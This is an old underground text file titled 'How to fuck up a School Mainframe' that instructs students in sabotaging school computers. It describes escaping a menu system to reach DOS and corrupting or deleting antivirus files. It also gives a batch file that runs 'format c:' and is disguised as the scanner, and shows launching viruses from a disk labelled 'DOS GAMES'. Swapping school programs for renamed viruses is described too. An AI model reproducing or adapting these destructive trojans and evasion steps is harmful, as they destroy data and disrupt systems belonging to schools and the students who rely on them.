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How to fuck up a School Mainframe:
               Courtesy of:
               ThE aNaRcHiSt


The most unaware, stupidest, computer systems in the world have to be
computers at schools, high-school and middle-school especially.  The coolest
way to fuck up their computers are virii.  Now this little textfile will give
you all the information you need to become a full-fleged HPAVCTE`er.

1.  Getting into DOS

    There isn't one school I know of that doesn't have Direct Access on it.
Which is when you boot up the computer, it doesn't go into the OS, but right
to Direct Access.  The School wants you to think the only way to get into DOS
is to find out the exit to dos password.  There are so many ways to overcome
this problem.  You could do Control+Alt+Delete to reset the computer, and when
you see:

Starting MS-DOS...

Press Left-Shift many times, this should override DA5 and put you right into
DOS.  Another way to do it is to go into the typing program, open the file:
C:\AUTOEXEC.BAT, and take out the last word which should be MENU.  Save it in
ASCII format and reboot the computer.  The other way is to just launch the
viruses from Windows--->Main---->File Manager.


2.  Take all precautions.

    Sometimes if there has been trouble before concerning computer virii, the
school may stress abit of caution.  But I guarantee, if you can't overcome
this caution, don't read this textfile.  Some of the time, if the scool
suspects something, they will do a routine virus scan on all of the files.
Now, there are many ways of overcoming this little problem.  First you can
just delete all of the .EXE, or .COM files in the directory containing the
scanner.  Usually they will use the scanner that comes with dos.   These files
will be MSAV*.* which are all the scanning files in DOS.  Others used are
McAfee's SCAN, but they probably won't use it because in order to use it in
school it must be registered, most schools are too cheap to register software,
so you don't really have to worry about that.
    Instead of just deleting the files you can go into MS-DOS editor, or
Qbasic to edit the .EXE's or COM's.  The most creative way to fuck these up is
to just type a bunch of bullshit in the file with OVR on.  The other way is to
copy all of the bullshit of another program such as dosshell or format to the
MSAV*.* files.

    The funnest way though is to delete the .EXE files, make a batch file
with the same name as the .EXE that contains:

format c:
ECHO y
ECHO You're Computer is FRIED!!!! Motherfucker!

This little batch file will format their main Disk Drive and you won't even
need to launch viruses.


3. 3-2-1-0 Liftoff, Virus Launch!

Now for the really fun stuff.  Obtain as many viruses and trojans you can fit
on a disk from your favorite HPAVCTE BBS.  After you have all the viruses on a
disk make batch file called RUN.BAT and in it put all of the .COM filez that
launch the viruses, Example:

kinison
vmessiah
pearlhbr
dontello
ECHO HAHAHAHAHAHAHAHAHAHAHAHAH!!!!

This Batch file will launch all of your viruses and nobody will suspect
anything.  But just to be safe, don't be a putts and label the disk:

VIRUSES THAT I WILL
LAUNCH ON THE MAINFRAME

or something because if someone sees that disk It'll be all over.  So play it
safe and label it:

DOS GAMES
TYPE "RUN" AT
PROMPT

They won't suspect a thing.

4.  In Conclusion

    If someone happens to pickup the viruses with a scanner, there is still a
way to get revenge.  Find one or two disks of the school's and replace alll of
the COM or EXE files with the viruses and rename the viruses to what the name
of the COM or EXE wuz.

    This concludes my textfile on Virii and Trojans.  Have Fun!!

                                                ThE aNaRcHiSt